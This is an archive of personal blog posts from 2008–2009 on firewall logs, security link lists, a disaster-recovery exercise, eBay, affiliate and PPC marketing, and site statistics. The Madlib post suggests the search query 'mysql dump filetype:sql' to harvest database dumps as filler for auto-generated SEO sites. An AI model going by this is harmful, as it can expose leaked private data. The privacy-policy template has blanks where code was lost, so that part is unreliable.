00:02:19  SRC=69.231.217.167   DST=67.200.200.00    SPT=7345    DPT=39172
00:02:19  SRC=69.231.217.167   DST=67.200.200.00    SPT=8345    DPT=39172
00:02:19  SRC=69.231.217.167   DST=67.200.200.00    SPT=9345    DPT=39172
 
00:02:19  SRC=68.1.81.23       DST=67.200.200.00    SPT=1345    DPT=39172
00:02:19  SRC=68.1.81.23       DST=67.200.200.00    SPT=2345    DPT=39172
00:02:19  SRC=68.1.81.23       DST=67.200.200.00    SPT=3345    DPT=39172
00:02:19  SRC=68.1.81.23       DST=67.200.200.00    SPT=4345    DPT=39172
00:02:19  SRC=68.1.81.23       DST=67.200.200.00    SPT=5345    DPT=39172
00:02:19  SRC=68.1.81.23       DST=67.200.200.00    SPT=6345    DPT=39172
00:02:19  SRC=68.1.81.23       DST=67.200.200.00    SPT=7345    DPT=39172
00:02:19  SRC=68.1.81.23       DST=67.200.200.00    SPT=8345    DPT=39172
00:02:19  SRC=68.1.81.23       DST=67.200.200.00    SPT=9345    DPT=39172

Are you fucking kidding me? I’ve been on the Internet for over 12 years and have never seen any shit like this, not anything that was considered legitimate traffic anyway. After bringing this to the attention of a few people I converse with, someone sent me this: http://www.internap.com/flash/fcp/fcp.swf

WTF is this, some kind of joke? Not sure if anyone put forth the thought toward considering this, but technology is advancing - getting better. The entire concept sounds like a big ass sales pitch, and if you think for one second the available capacity for the global infrastructure is anywhere near the maximum, you’re sadly mistaken.

Flow Control Platform

You do know there’s hardware capable of moving up to 400 million packets a second across 32, 10-Gb trunks, right? If your provider has “traffic congestion” problems, it’s time to reconsider.

Seriously, who on earth thinks sending traffic like this to not just my IP, but every intended destination IP on the Internet, is a good idea?

New Page: Interesting Server Logs

Guy Patterson — Fri, 24 Apr 2009 11:42:44 +0000

This is a short post. A status update more than anything.

Before posting Madlib Site PHP code examples demonstrating how to use the content you’ve obtained from: Free Data Sources for Blue Hat SEO’s Madlib Technique, I thought of a potentially interesting idea. Grep httpd server logs looking for Cross Site Request Forgery (CSRF), Cross Site Scripting (XSS), Blind SQL Injection, Remote Code Inclusion, and Remote Code Execution attempts, just for fun.

For now, the link is listed as a sub-menu item under “Tools & Stuff.” For anyone interested, check out all the action on our Server Logs page.

Stay tuned for another update this weekend; we’re going to build a Blue Hat SEO Madlib site.

Free Data Sources For Madlib Sites

Guy Patterson — Tue, 21 Apr 2009 02:29:17 +0000

So you’ve read Blue Hat SEO’s awesome write up detailing how to use Madlib Sites to your advantage, now what? Over the course of a few posts, I’ll provide some additional information to compliment Blue Hat SEO’s post. Clearly, this post contains a list of free resource candidates to choose from for building your Madlib Sites.

Government Data

Government data sources are great simply because the content is usually: accurate, concise, and there’s an abundance. For starters, bulk.resource.org makes the following available via http, rsync, BitTorrent, and ftp.

- Commerce Business Daily
- Public Safety Codes
- Common Utilities
- U.S. Copyright Database
- The Judiciary
- SEC EDGAR Database
- General Accountability Office
- Government Printing Office
- Internal Revenue Service
- National Technical Information Service
- Patent Full Text Database
- Robotic Guidance
- Smithsonian Institution
- Trademark Database

Wikidumps

Anyone looking to build a Madlib site probably already knows Wikipedia releases their entire database dumps to the public. Grab them here: http://meta.wikimedia.org/wiki/Data_dumps

GeoNames - Country Dumps

Geonames.org has a collection consisting of country related data. The usual: Latitude, Longitude, Elevation, Population, Timezone, Country Code, Capital, Area (in sq. km), Top Level Domain, etc. Start loading this into your Madlib arsenal if you’re looking to target the world :] http://download.geonames.org/export/dump/

The Obvious: Google

The advanced search operator filetype: is very handy for our situation. The query: mysql dump filetype:sql produced over 9,000 results at the time of writing. Get creative with this query and there’s no telling what you’ll come across. If you’re interested in csv data, try filetype:csv, instead. Prefixed with anything that comes to mind, Google will usually provide a generous heap of information. You’ll have to filter through some of the results to find the good stuff, but the effort will pay off in the long run.

Oddity Software

In addition to their non-free databases, Oddity Software’s generous collection of free data sets are another must-have for any madlibber. If you haven’t already, visit http://www.odditysoftware.com/free_lists.html to acquire an excellent base to start from, or make a strong addition to the archive :D.

myDataMaster.com

The generous collection at http://mydatamaster.com/free-downloads/ provides the following types of data dumps in sql/zip (available via http):

US Street Suffixes and Abbreviations
US State and Territory Abbreviations
US Embassies
Famous Birthdays
Mixed Quotes
World Cities and Languages
Articles on various topics
Medicare Coverage Details
US Nursing Homes
US Medical Suppliers
Home Business Articles
Database of Random Facts
Education/College Articles
Complete Bible Website

The next few posts will provide some examples (with code) to build a fully functioning madlib site with our new library. I’m not a professional coder, so don’t expect anything glamorous.

So, where do you get your data?

I Have Candy, Get in The Van.

Guy Patterson — Mon, 20 Apr 2009 00:32:59 +0000

Rather than continuing to beat my face against a server rack trying to come up with some compelling topic to make up for a 1 year absence, I opted for an easy out. A simple list of links to the sites, blogs, aggregators, forums, mash-ups, and feeds that I visit regularly or find useful. Perhaps this will shine some light as to what Nullamatix.com readers can expect in the future, and provide some incite into what the hell I’ve been doing for the last twelve months.

First Up: Security

The Information Security Writers’ text library is easily one of the most valuable computer and network security resources on-line. Nine years have passed since the site’s launch and the abundance of available information seems priceless.

Remember the Sony Rootkit scandal? How about the recently resurrected DNS Cache poisoning scare? Dan Kaminsky’s personal blog DoxPara.com is definitely a site worth subscribing to if you’re interested in staying ahead of the security game. What, no conficker propaganda? Don’t worry, Dan’s got your fix; check out what he recommends for conficker infection detection.

Pssst… your ports are showing. Not sure what to do about it? Consider hiring yourself a fwknop, aka the FireWall KNock OPerator. fwknop is a sentry daemon that supports Linux, bsd, and OS X systems. The Single Packet Authentication scheme can add another perimeter of defense to your networks. This clever project was released under the GNU Public License by Michael Rash at cipherdyne.org.

Just recently a site that appears to focus primarily on web application security (XSS, CSRF, CSS, Injections, etc) showed up in my rss feed reader. Now that I’ve thought about it, I’m not even sure when or how it was added…? Wow, guess that makes RSnake the real deal? Seriously though, if you’re into finding holes in web apps and other playgrounds often thought to be secure, head over to ha.ckers.org for some brain food. The papers, tools, and super secrets are hidden toward the bottom right.

Finally - Harden Your Stack. Nobody likes a soft stack.

Development

CodeDiesel.com is a fresh site that avoids publishing the usual PHP code floating around the net. Their posts typically cover a unique or innovative objective with clear, thorough details. For example, their latest post at the moment covers a free geolocation api tool. I definitely look forward to the updates this site produces.

Ever thought about deploying your own army of small, efficient web crawlers to index the Interwebs? Try crawl, a tiny but feature rich app designed with efficiency and simplicity in mind. Mr. Provos has an entire collection of interesting tools worth investigating.

Forget milk, gotAPI? gotAPI is a slick web-site that puts the ins-and-outs of PHP at your fingertips. You thought Google was awesome? Try your PHP code searches at gotAPI and start churning out some real code.

Linux Related

Shell-fu.org publishes an array of content that will prove beneficial to any command line buff. Ever run into a situation that demanded moving MySQL database tables between two remote hosts? Shell-fu.org tip #669 explains how with a single command. What about automating web related tasks with Lynx? Shell-fu.org tip #666 to the rescue. And they said 666 was the mark of the beast… I thought a Lynx was a cat??

Stuck with a ridiculously low maximum file-size attachment limit? No worries, TheGeekStuff.com explains how to compress, encrypt, split, and transport big files safely. How about vim? Still fumbling around trying to understand the purpose of insert mode? TheGeekStuff.com has a list 8 Essential Vim Navigation Fundamentals that will have you flying your way around vim in no time.

Did you know, according to HoneyD.org, 43% of spam originates from Linux systems?

Alright, I’ve barely touched the tip of the iceberg. There’s so much information out there and not enough time to consume it all. My goal is to continue publishing helpful information that may or may not already exist. Even after a solid year of inactivity, Nullamatix.com continues dominating Google’s search result pages for a wide spectrum of keywords, often showing up within the top 5 results for what I consider fairly important topics.

Anyway - what are some of your priceless resources? Feel free to share them by posting a comment.

DR Exercise: Rebuilding The Enterprise - Days 1 & 2

Guy Patterson — Sun, 06 Apr 2008 18:52:30 +0000

The lack of posts this week was the result of being in the woods for a week; isolated from all forms of media, cell phone communication, basically cut off from the outside world, but I’m back and have a lot to share. The disaster scenario we were instructed to deal with was pretty creative. Basically, the Military missed the satellite they shot down a couple weeks ago, and we had to deal with the radiation positioning, loss of basic infrastructure, toxic fumes, electro magnetic pulse, you name it. People died as a result of the satellite’s impact, running water and electricity ceased to exist, and our primary objective was to rebuild the organization’s IT infrastructure. This involved generating our own power, establishing data connectivity for Internet access and phone communication, providing air conditioning, the whole nine yards.

Sunday, 14:36: Arrived at Recovery Site

The first step was to establish power. To accomplish this, two massive diesel powered generators were used. Bertha, as everyone referred to the main generator, was responsible for providing power to the server room, customer service center, network operations center, Internet cafe, application development area, and sleeping quarters. Bertha was online and running strong within hours of our arrival, so power wasn’t really an issue. Cables were ran where power was needed, and the air conditioning unit for the server room was up and running in no time.

With power and ice cold air conditioning in the server room, my team’s next objective was to start setting up the customer service center. We arranged two tables and ran a source of power to begin work on our first service request; scan all workstations for viruses prior to connecting to the network. To accomplish this, we used a variety of virus definitions slipstreamed into a live CD. The longest scan took over two hours, and we worked through dinner to ensure all workstations were clean. Thankfully, no threats were detected and we finished shortly after 20:00. After building a primitive task list in an effort to maintain some sort of service request organization, I took a shower and was able to lay down for some well deserved sleep around 23:00.

Monday, 05:30: Begin Day 2

After eating a much needed hot breakfast, day two was quickly underway at 06:30. The network infrastructure, security, and disaster preparedness teams worked hard the previous day to get the satellites up and running. With a total of six satellites independently capable of 2 megabits down and 1 megabit up, they were able to aggregate the bandwidth to one central gateway for optimum efficiency. This provided speeds of up to 12 megabits down, and 6 megabits up, which isn’t bad considering we were stuck somewhere in the middle of no where.

Today’s primary objective was to establish internal phone communications, and begin server restoration from back-up tapes. The telephone operations portion of the network team had phones up and running to all major areas of camp by 10:00. Around 14:00, the server team arrived and began working the remainder of the afternoon and long into the night recovering mission critical services. Based on my observations, restoring the parent and child domains for active directory, and getting the two to communicate properly gave them the most trouble. We were without active directory for over 36 hours, so authenticating to damn near everything was impossible during that time. Meanwhile, email, web, and database recovery were all taking place slowly but surely.

While all that chaos was taking place, the customer service center was continuously bombarded with an assortment of miscellaneous requests. Laptops that hadn’t been scanned the day before, random tests from the telco team (can you hear me now?), troubleshooting wireless connectivity issues, operating system restorations, software installations, printer installations, security watch, and dozens of other requests. Since the service center was comprised of only two people for this exercise, the work load was pretty intense, especially since a lot of the work required one (sometimes both) of us to leave our area.

Day 2 Finally Comes to an End

There’s no way to effectively convey in writing the hell endured during the first two days of the exercise. Traditional methods of operation went out the door as we came up with innovative ways to deal with issues as they arose. Standard operating procedures were replaced with creative problem solving and thinking outside of the box. I found myself still working with the server team after midnight trying to learn and provide aid in any way possible. After a short lived hot shower, 05:30 was only a couple hours away, and I eventually went to sleep thinking day three would be a little easier. Oh how wrong I was. Stay tuned for day 3 and possible day 4 tomorrow.

eBay: Auctions Listing Digital Items Violate Our Policy

Guy Patterson — Wed, 26 Mar 2008 05:52:39 +0000

A week after I decided to start selling digital items on eBay, they decide to ban them; how convenient, right? The new policy basically says digital products must use the Classified Ads Format, which prevents transactions from going through eBay. In other words, no digital product auction listings, and no feedback. According to the official announcement, the policy was put in place to combat alleged feedback manipulation. Apprantely Mr. Burke and other eBay decision makers belive the feedback system lacks integrity.

The Policy is Already in Effect

Despite the date provided in the announcement (March 31st, 2008), a number of sellers are saying their auctions have already been removed. A Powerseller that claims to sell over $20,000 a month in physical product started a thread that’s already reached 138 posts (at the time of writing) in just over a day. Just to sum up the seller’s dilemma, they provide product information ebooks for $1, which is refunded whenever the product mentioned in the ebook is purchased. The power seller continues to explain the situation,

What our representative told us is that it seems that eBay will soon be coming out with a new policy that prohibits the sale of electronically delivered products (like ebooks). The policy has not been announced and the eBay customer service representatives have received no notification about the “new” policy. It is an unannounced policy that sellers will learn about “sometime in the near future” and my rep said it is “rather unusual” for eBay to take action (like removal of listings) prior to a policy actually be announced.

So, my ebooks were removed and I was issued a violation warning (which I was told that the warning will be removed from my record — snicker, snicker… like I really can “trust” eBay Trust & Safety to keep their word) for a policy that has not yet been announced.

And it’s Not Just eBooks

The new policy applies to anything that’s digitally delivered, for example:

Digital Audio: mp3s, podcasts, audio books, etc.
Digital Videos: xvids, flvs, divx, wmv, etc
Websites: no more site flipping on eBay
Domain Names: these don’t have any value, do they?
Graphic Design Services: your services are worthless
Photo Services: so are yours
Any product or service delivered electronically

Don’t Start Job Hunting Just Yet

This morning I received an email from my mom (thanks ma) containing a helpful link. John Thornhill of PlanetSMS Blog proposed a solid solution to this new ~~policy~~ problem. Just put your digital crap on CD’s, and ship ‘em - how easy is that? John also points out several reasons why this will work to a seller’s advantage, so check out the post for more info.

Since this new policy totally ruins my plan for world domination, perhaps I’ll reveal how I managed to earn $34.35 (minus $1.30 in fees) with only ten minutes of extremely painful clicking and typing (/sarcasm). Show some interest in the comments or just stay tuned.

New Page - Submit Your Helpful Tools

Guy Patterson — Sun, 23 Mar 2008 17:43:17 +0000

Yesterday, while developing advertising campaigns , I suddenly noticed my operating system was gradually performing slower and slower. After snapping out of the zone, the reason for the drop in performance became obvious. Three instances of Firefox, each with a minimum of ten open tabs, four Notepad sessions, three instances of Internet Explorer (have to conform to standards now, don’t we?), two Putty sessions, three instances of Foxit Reader, a development VM, paint shop pro, anti-virus, Alt.Binz (torrents suck), automatic updates, sftp-drive, and loads of other miscellaneous crap; lovely.

The veteran Nullamatix readers probably already know I prefer minimalism over aesthetics any day, but feel free to take a look at the attached screenshot taken a couple months ago to see what I’m referring to. Further analysis lead me to conclude most of the Firefox tabs were for web based tools - nice. So I started thinking, “how about a little consolidation to render this problem obsolete?” After dedicating nearly fifteen consecutive hours to mine and my family’s future (I’m a computer nerd, I’m a computer nerd), it was time to end the day and get some rest.

Shortly after waking up and fixing a pot of coffee, I started working on a Tools page, which is now listed in the top navigation menu. Anytime I come across a new and helpful tool, I’ll add it to the list. The purpose, needless to say, is to provide an organized and consolidated list of useful tools for web developers, Internet marketers, and network/security specialists. The list is pretty short at the moment, but trust me, there’s a lot more on the way. I guess the purpose of this post is to announce the addition and provide readers an opportunity to showcase their tools. If you have any useful web based tools you’d like to recommend for inclusion either shoot me an email or leave a comment.

Until next time, back to the grind.

My Thoughts on Affiliate Marketing & PPC Advertising

Guy Patterson — Fri, 21 Mar 2008 20:19:46 +0000

$62.08 in advertising and 0 conversions later, I’ve yet to give up on affiliate marketing. Revenue from Adsense and eBay commissions aren’t bad, but successful Internet marketing involves diversifying your income in as many ways possible. Over the past few weeks I’ve really started applying myself to the game of affiliate marketing and pay per click advertising. Despite my inability to generate a return on my investment, the experience so far has been rewarding and extremely educational. This post will outline some of the things I’ve learned, and what I plan on trying in the future.

Stop Buying & Reading E-Books

Of the 1,000+ E-books I own (no, they weren’t all purchased), I’d say 2 of the 300+ I’ve read have actually provided valuable information that isn’t reproduced a million times all over the web. I’m not saying all ebooks are worthless, they’re excellent for absolute beginners, but none of the eBooks I’ve read provide a clear cut guide to making money as an affiliate with pay per click advertising. There is no end all be all step by step guide to turning a profit - if there is, please prove me wrong. I suspect this is because once an affiliate marketer does turn a profit, the last thing they want to do is divulge their secrets/methods, which is understandable.

If you already have a basic idea of how affiliate marketing works, rather than wasting time buying and reading ebooks, just dive in and get started. Login to Adwords and make a few campaigns. Set the daily budget to something you can afford and see what happens. If you end up blowing $50 on on 1,000 clicks and don’t receive a single conversion, chances are that program/method/technique isn’t going to work. Study the stats to figure out what went wrong and try again. Bottom line, stop wasting your money on Ebooks to make some other guy rich and start wasting your money on Adwords to make YOU rich.

Affiliate Marketers Are Not Your Friends

Affiliate marketing elites are very reluctant to give out any worth while information. Even the successful ones making $10,000 a day are so greedy they’d rather steer people in the wrong direction than help someone make their first conversion. I probably shouldn’t say the following because I don’t make $10,000/day (yet), but I can assure you if someone took the time to email me an educated question, I’d damn sure help them out the best I could. If I’m able to live on the $150-$200 a day I’m making now, I could damn sure take thirty minutes out of my $10,000 days to help someone struggling just to get a single conversion. Unfortunately, the affiliate marketing business is rough, so don’t expect Shoemoney or any of the other big guys to divulge any helpful information. Just to give you an idea of what I’ve been through, here are some of the responses I’ve received.

“What are you on, crack? I’ve wasted five years of my life at this, no way I’m helping you! Figure it out douche bag.”

“You’re joking, right? You really expect me to help you? Good luck moron.”

“Um, no.”

Not really encouraging, is it? These were the responses I received from what I thought were well written questions. None of my questions involved revealing keywords or landing pages, but even so, if you’re making $10,000/day, would it really hurt to reveal one of your landing pages to a small time affiliate noob? Doubtful…

Affiliate Marketing as a Day Job

After playing with Adwords I’ve come to the conclusion affiliate marketing is not only a game, but a fun game. I could easily work 8 hour days creating campaigns, tweaking, testing, and optimizing. Despite losing money, the knowledge and experience gained is truly priceless - something an ebook could never provide. I’ll continue my efforts in hopes that one day my “day job” does become affiliate marketing.

“Get Out There and HIT SOMEBODY!”

Every game, no matter how many people I hit, my football coach would call me to the sideline every couple plays and yell, “Get out there and HIT SOMEBODY!” To this day I’m not sure why he did that and I often find myself reliving those moments. His face pressed up against my face mask just yelling at me to get out there and hit somebody, as if I hadn’t taken out two people already.

There’s no telling what that guy’s up to now, but the point is, that statement applies to almost anything in life. Rather than waiting for an opportunity, create an opportunity. Don’t sit around expecting someone to hand you the master plan, get out there and make the master plan. Sure, there’s no sense in reinventing the wheel, but if no one’s willing to give you blueprint, what choice do you have? If you haven’t already, sign up for Adwords, sign up with CPAEmpire, Azoogle, or Neverblue ads, and GET OUT THERE AND HIT SOMEBODY.

eBay is Leaving Commission Junction - Poor Mans BANS Updates Required

Guy Patterson — Tue, 18 Mar 2008 11:59:04 +0000

Alright, so I’m a little late writing about this, but since releasing the poor mans bans (a free BANS alternative), I felt compelled to tell my readers. Yesterday morning I logged in to check my email. Once of the unread messages had the subject: eBay Advances Affiliate Offering with eBay Partner Network. In short, eBay is leaving Commission Junction and taking their affiliate matters into their own hands. Starting April 1st, 2008, eBay’s affiliate platform will go live, and all CJ pids will become invalid. Here’s and excerpt from the email,

“We are excited to announce eBay’s new global affiliate platform: the eBay Partner Network. The new platform will go live on April 1st, 2008 PST, at which point eBay will no longer be running its affiliate program through Commission Junction. Beginning April 1st, affiliates should register with eBay Partner Network and migrate their links from CJ to the new platform. While CJ and ValueClick have been valuable partners to eBay throughout the years, we’ve decided to give our affiliate community a customized experience for eBay affiliates.”

New eBay Affiliate Benefits

To read the official eBay press release, go here. Well, this upset me to no end. All my Poor Mans BANS will go defunct on April 1st. Is this some kind of pre-April fools joke? Unfortunately, this looks like the real deal. However, there are some positive perks coming with the new eBay affiliate network. Once the network goes live, eBay affiliates will be able to receive credit for global registrations from multiple countries. You get some kid in Trinidad to sign up, $25 for you. Ok, well, maybe I’m dreaming here, but I guess we’ll just have to wait and see.

Get Started Now

So for all your Poor Mans BANS users out there, goto eBay’s affiliate site, sign-up, and start rebuilding your RSS feeds. Hopefully I’ll be able to release an automated way of carrying out the transition (I’d have to update over 300 feeds by hand if not), but since my day job is forcing me to go play in the woods for a week, that may not happen in time. I’ll pay one of your crafty php developers out there to come up with something (Patrick? Congrats on the promosh by the way).

Eggs In One Basket…

I’ve always known having more than one stream of revenue is beneficial to any on-line marketer’s success. Vic from Blogger Unleashed would agree; perhaps he isn’t so crazy after all. Vic recently published a Vlog about why diversified income is so important, and although he speaks like he’s your father doped up on pain and anti-psychotic meds, he does have a method to his madness. If the Poor Mans BANS is all you’re investing time in, take additional steps to create Adsense sites, lead generation sites, product review sites, etc, etc. Diversify your income - bottom line.

Poor Mans BANS Goes BIG

Sam submitted a comment yesterday telling me his Drupal version of a Poor Mans BANS was in the USA Today. Sam mentioned the article only brought 30 visits, but I’m sure that link looks damn good to Google. Here’s the USA Today article, and here’s Sam’s Poor Mans BANS. Oh, and by the way, Sam. Thanks for mentioning Nullamatix in all your fame and glory Just Teasing! Congrats dood, that’s awesome! I wish you more success in the future.

BitTorrent For The Enterprise is Worth Considering

Guy Patterson — Wed, 12 Mar 2008 14:01:51 +0000

Previous posts explained why I believe BitTorrent is a problem, but like most technology, BitTorrent does have a worth while purpose. BitTorrent for enterprise network usage isn’t anything new, but according to TorrentFreak, a Dutch University finally decided to use the peer to peer protocol for software patch distribution. Naturally, the decision makers at the university were reluctant to implement the technology as a result of the negative press surrounding the protocol, but after seeing BitTorrent in action, they quickly changed their mind. Not to mention, it’s free!

Fewer Servers and Faster Distribution

Frank Gombalt, a member of the University’s IT staff, stated,

“The university now uses 20 servers less than before, those servers were placed decentralized to send data to the desktops and to spare the WAN-connections.”

Here are the numbers comparing the before and after:

Before:

20 servers

25.6 terabytes

4 day completion time

After:

2 centralized SMS2003 servers

25.6 terabytes

Under 4 hour completion time

Who in their right mind would argue with those drastic improvements? Less hardware and power consumption mean more money - and saving money something any company is interested in pursuing. For rapid internal file distribution across an enterprise, BitTorrent is a method worth implementing. Does your company or organization use BitTorrent for internal file distribution? If so, please share how the technology presented, approved, and implemented.

A Shopping Cart Solution Worth Investing In

Guy Patterson — Tue, 11 Mar 2008 17:17:49 +0000

In an effort to increase my on-line earnings, I began researching Ecommerce store front solutions. After reviewing several options, my search came to an end as soon as I found Ashop’s shopping cart software. The administration panel is powerful and feature rich; updates and support are provided for life at no additional charge. What more could a virtual store owner need?

The Features Seem Endless

The setup wizard makes installation a breeze
No programming, plug-ins, or graphic skills necessary
Superior inventory control, sales tracking, and over 50 available themes
Capable of accepting credit cards (real time), Google checkout, and more
Calculates shipping cost in real time
Search engine optimized with clean URLs, meta tags, and auto sitemap generation
Sales statistics/trends, affiliate capable, and sms alerts

Seriously, I could go on and on about what this shopping cart software is capable of, but why bother when they offer a live front-end and back-end demo? After seeing what Ashop’s shopping cart software had to offer, I felt compelled to share this information with you. There are no affiliate links, just a solid recommendation worth looking into if you’re thinking about getting into the Ecommerce business. From here, all you need is some product, server space, a domain, and you’re golden. And according to their web-site, they offer all that, too!

Ever Considered Doing This For Your PPC Campaigns?

Guy Patterson — Sun, 09 Mar 2008 03:22:51 +0000

There are plenty of sites that suggest using hundreds and even thousands of keywords when setting up an Adwords campaign, but is that really an effective technique when trying to convert visitors into leads? Here’s an approach that’s not necessarily new, but probably over looked by many of the PPC related articles you might have read in the past.

A Simple Text Ad Example

For this mock campaign we’re going to promote an ebook that provides parental guidance for potty training. I know, it’s silly, but you’ll get the idea.

Headline: Trouble Potty Training?

Description: Potty Train The Smarter Way!

Description: Try Our Effective Method Today

Display URL: ThePottySite.com

Destination URL: Your-Affiliate-Link.com

That takes care of understanding the customer’s needs, offering a solution, and providing a call to action. At this point, you might want to consider turning off the content network to avoid sifting through thousands of Made For Adsense sites. Based on my experience, search traffic performs better anyway.

The Tricky Part - Keywords

Here’s the real value of this post. Rather than bidding on hundreds or thousands of keywords, select 3 to 5 highly targeted phrases that will show your ad to only money spending prospects actively seeking a product or solution.

parent’s guide for potty training

[parent's guide for potty training]

“parent’s guide for potty training”

how to give potty training lessons

[how to give potty training lessons]

“how to give potty training lessons”

help with potty training my child

[help with potty training my child]

“help with potty training my child”

This will of course involve some minor testing and tweaking on your part, but I suggest setting up different ads with totally different base keyword sets. Stick with the broad, phrase, and exact matches for just 3-5 keywords and let your ads ride. To start off, try working with a $5 maximum daily budget and never bid more than $0.30 per click.

Click the screen shot on the left to see what these type of campaigns are capable of. You’ll obviously have a better shot at landing in the top 3 in an unsaturated niche, so keep that in mind while coming up with your product, ad, and keyword selection. Also, avoid the “get paid to drive” type offers. Adwords wants a minimum bid of $10 per click in order to become active for search, unless you’re able to come up with a set of different, yet totally relevant keywords. Good luck - feel free to share you experiences below.

Automated Adsense Privacy Policy Deployment Guide

Guy Patterson — Sat, 08 Mar 2008 15:53:05 +0000

Hopefully you took the time to actually read the new Adsense Terms and Conditions. The new terms require all Adsense publishers to display a privacy policy on any web-site displaying Adsense ads.

Here’s an excerpt from this page:

We’ve also added some specific privacy policy requirements that make it necessary for publishers to post and abide by a transparent privacy policy for their users. According to this policy, publishers must notify their users of the use of cookies and/or web beacons to collect data in the ad serving process.

Thanks to Jen from Jensense, all my web-sites now have a privacy policy that complies with the new Google Adsense Terms and Conditions; however, if you’re responsible for multiple sites, implementing this policy could potentially take hours. Well today’s your lucky day because I took her basic policy and added some minor php tweeks to semi-automate the implementation process. This little bit of PHP wizardry drastically cut down on the amount of time I would have spent manually implementing the policy for each web-site.

 Privacy Policy

he privacy of  visitors is important to us. At
, we recognize that the privacy of our
visitor’s personal information is important. Here is
information on what types of personal information we receive and
collect when you visit , and how we safeguard your
information. We never sell your personal information to third
parties.

Log Files

We collect and use the data contained in log files. The
information in the log files include your IP (internet protocol)
address, your ISP (internet service provider, such as AOL or Shaw
Cable), the browser used to visit our site (such as Internet
Explorer or Firefox), the time you visited our site and which
pages you visited within our site.

Cookies and Web Beacons

We do use cookies to store information, such as your personal
preferences when you visit our site. This could include only
showing you a popup once in your visit, or the ability to login
to some of our features, such as forums.

Third Party Advertisements

We also use third party advertisements on  to
support our site. Some of these advertisers may use technology
such as cookies and web beacons when they advertise on our site,
which will also send these advertisers (such as Google through
the Google AdSense program) information including your IP
address, your ISP , the browser you used to visit our site, and
in some cases, whether you have Flash installed. This is
generally used for geotargeting purposes (showing New York real
estate ads to someone in New York, for example) or showing
certain ads based on specific sites visited (such as showing
cooking ads to someone who frequents cooking sites).

You can choose to disable or selectively turn off our cookies
or third-party cookies in your browser settings, or by managing
preferences in programs such as Norton Internet Security;
however, this can affect how you are able to interact with our
site as well as other websites. This could include the inability
to login to services or programs, such as logging into forums or
accounts.

Return To  Main Index

And there you have it. A customized, site specific privacy policy. From here, save the file as whatever.php, then drop a link to your new privacy policy. You could take this a step further and use PHP’s include function to drop this right into your site’s template.

This script assumes your site defaults to http://www.yourdomain.com, rather than http://yourdomain.com. If you’ve configured your site to not use www, you’ll need to replace every occurrence of,

With,

Failure to do so will result in displaying domainXYZ.com, instead of yourdomainXYZ.com. Questions? Comments? Give me a shout below. If you’d like to keep up with Nullamatix, consider subscribing (top of the sidebar) via email to have posts delivered directly to your inbox, or add our full RSS feed to your favorite RSS reader.

Nullamatix Feburary Traffic Statistics & Other Misc Info

Guy Patterson — Sat, 08 Mar 2008 00:32:33 +0000

I’m not one to brag about achievements (mainly because I don’t have much to brag about), but the recent trend among bloggers in the blogosphere seem to involve publishing a post displaying various statistics. This probably won’t become a reoccurring or regular thing, but at the moment, it does seem like a great way to give out some link love, and express thanks to my visitors.

Visitors, Pageviews Numbers

11,145 Unique Visitors - 88% Were New Visitors
41,865 Pageviews - Average of 2.15 Pages per Visit
219,086 Hits
3.65 Gigabytes of Bandwidth. - 2:15 Average Time on Site
917 Directs (Bookmarks, No Referrals)

Top 5 Referring Sites

SiteHoppin.com (118 Uniques) - Browser-Within-Browser Site Discovery Tool
Digg (82 Uniques) - User Driven Content
EntreCard (74 Uniques) - The Internet Business Card
PowerDropping.com (45 Uniques) - EntreCard Power Dropping
JimmyR (25 Uniques) - Web 2.0 Mashup

Top 5 Referring Search Engines

Google - 2,808 Uniques
Google Images - 216 Uniques
Windows Live - 41 Uniques
Yahoo - 31 Uniques
AOL - 13 Uniques

The Earnings (Revenue)

Commission Junction - $195
Google Adsense - $126.72
Paypal Payments - $50
Money Spent on Advertising: $31
Grand Total: $340 (net earnings)

That seems to cover the majority of what people are interested in seeing. If you ask me, the numbers just don’t add up, but who can argue with Google’s Analytics? So far, March is looking really promising. Since landing on the top of Shoemoney’s Top Commentators plugin, he’s sent me an ass load of cell phone comment spammers, and 4 unique visitors, none of which were new comers.

You might be wondering how I know all the cell phone comment spam is coming from Shoemoney (the referrers are often blocked on these comment bots), but the truth is, I don’t know for sure. This claim is based explicitly on the coincidence that the very same day I started showing up on his top commentators list, my spam comments went from the usual,

“nice post!”

and

“very good! I like your site in google searchs.”

to,

“GET 60,000 RINGTONEZ FOR J00R TMOBILEZ ELITEZ PHONEH0H0 BY VISTIN: http://some.garbage.co.uk/?eat-me.affiliate=12223391 THEY AM FREE FOR YOU NEW PHONE, GO NO!!! G0G0G0G0!!!one111eleven!!!”

The comments haven’t stopped, and before you ask, no, I don’t use Akismet. I’m temped to just blacklist ringtones, ring tones, cell phone, cellphones, etc. Just take the keywords from my PPC campaigns and dump ‘em into the Nullamatix comment keyword blacklist. Don’t get me wrong (Jeremy, if you read this), I’m sure the human traffic I receive from Shoemoney will outweigh the amount of cell phone spam (66 and counting), but so far it’s not looking good. And again, as I mentioned, I have no way of proving the spam is coming from Jeremy’s blog, unless anyone has any tips or suggestions?

Some Other Misc Stuff

The Webmaster Journal recently asked me a series of questions and posted them up on their web-site. Click here to check out Webmaster Journal’s question an answer session with yours truly.

Dan from PowerDosh.com implemented full RSS feeds as a result of the remarks in my previous post, 5 ‘Make Money Online’ Blogs Worth Subscribing To. Since the announcement he’s only posted one entry, but I’m sure there are more to come.

Jason from The University Kid is holding a huge online contest, probably the largest I’ve ever seen. After reading the post, I decided to offer 750 EntreCard credits to give away (contribute) in the contest. A comment and a GChat session later, absolutely no response - to either. 30 to 40 minutes after offering the credits via GChat, he changed his status and signed off (or blocked me). I doubt Jason cares, but considering I’ve done business with this guy in the past, I just wasn’t thrilled by his behavior, or lack of for this matter. At least have the guts to say, “No, thanks.”

Finally, some link love goes out to Our Blog Review for reviewing Nullamatix.com. Thanks guys!

I know this post was a little out of the norm, so expect some more technical stuff in the very near future. If you have any questions about anything in the post, don’t hesitate to leave a comment.

What’s Your Computer Connecting To?

Guy Patterson — Wed, 05 Mar 2008 23:01:26 +0000

A security conscious buddy of mine is an advocate of the Sysinternals freeware utilities. For those of you who don’t know, Mark Russinovich, one of the Sysinternals co founders, was the guy that discovered and exposed the Sony BMG root kit back in 2005. In other words, the crew at Sysinternals knew their $h*t. Microsoft purchased the company later in 2006.

Anyway, the reason I’m telling you all this is because one of the many excellent utilities Sysinternals released is TCPView. TCPView provides a semi-detailed list of all the TCP/UDP connections based on: established, listening, and time_wait. In addition, TCPView will let you know where the connections are coming from, and where they’re going. Click the image on the right to see the full sized version in a new window.

Several of the firewalls on the market today provide a “network monitor” that offer a little more detail than Sysinternal’s TCPView, but you might be surprised to see what your firewall isn’t showing you.

